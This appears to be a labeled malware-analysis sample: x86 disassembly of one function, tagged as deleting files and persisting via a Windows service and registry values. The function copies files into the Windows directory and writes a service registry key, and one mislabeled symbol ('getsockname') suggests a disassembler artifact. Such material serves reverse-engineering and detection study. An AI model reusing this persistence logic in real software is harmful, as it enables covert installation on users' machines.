Function at 0x1000100a
Capabilities:
Delete file
Get common file path
Persist via windows service
Set registry value

Disassembly:
jmp 0x10015d50
sub esp, 0x42c
push ebx
push ebp
push esi
push edi
mov ecx, 8
mov esi, 0x100072f4
lea edi, [esp + 0x310]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [esp + 0x333]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, 0x10006cd0
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x310]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
xor ebx, ebx
and ecx, 3
mov byte [esp + 0x1c], bl
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x40
lea edi, [esp + 0x1d]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, 0x100072e4
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x18]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x1b], bl
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x18]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
call esi
lea ecx, [esp + 0x18]
lea edx, [esp + 0x310]
push ecx
push edx
call fcn.10001023
add esp, 8
mov ecx, 0x4a
xor eax, eax
lea edi, [esp + 0x1e5]
mov byte [esp + 0x1e4], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
imul eax, eax, 0x2b67
mov ebp, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
lea eax, [esp + 0x1e8]
push 0x100072d4
push eax
call ebp
lea ecx, [esp + 0x24]
lea edx, [esp + 0x1f0]
push ecx
push edx
call fcn.100013ac
add esp, 0x14
lea eax, [esp + 0x18]
push eax
call esi
mov ecx, 0x31
xor eax, eax
lea edi, [esp + 0x11d]
mov byte [esp + 0x11c], bl
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x1e4]
lea edx, [esp + 0x11c]
stosw word es:[edi], ax
push ecx
push 0x100072c4
push edx
stosb byte es:[edi], al
call ebp
add esp, 0xc
lea eax, [esp + 0x14]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x11c]
push eax
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push edx
push getsockname
mov dword [esp + 0x38], 1
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push 0x10006f44
call edi
push eax
mov eax, dword [esp + 0x14]
push 0x10006f44
push 2
push ebx
push 0x100072b4
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push ebx
push 0x10006f44
call edi
push eax
push 0x100072ac
push 1
lea ecx, [esp + 0x12c]
push 0x1000729c
push ecx
push getsockname
call fcn.100011f4
mov edx, dword [esp + 0x2c]
add esp, 0x1c
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esp + 0x18]
lea ecx, [esp + 0x1e4]
push eax
push ecx
call fcn.10001023
lea edx, [esp + 0x20]
lea eax, [esp + 0x318]
push edx
push eax
call fcn.100013ac
add esp, 0x10
lea ecx, [esp + 0x18]
push ecx
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x42c
ret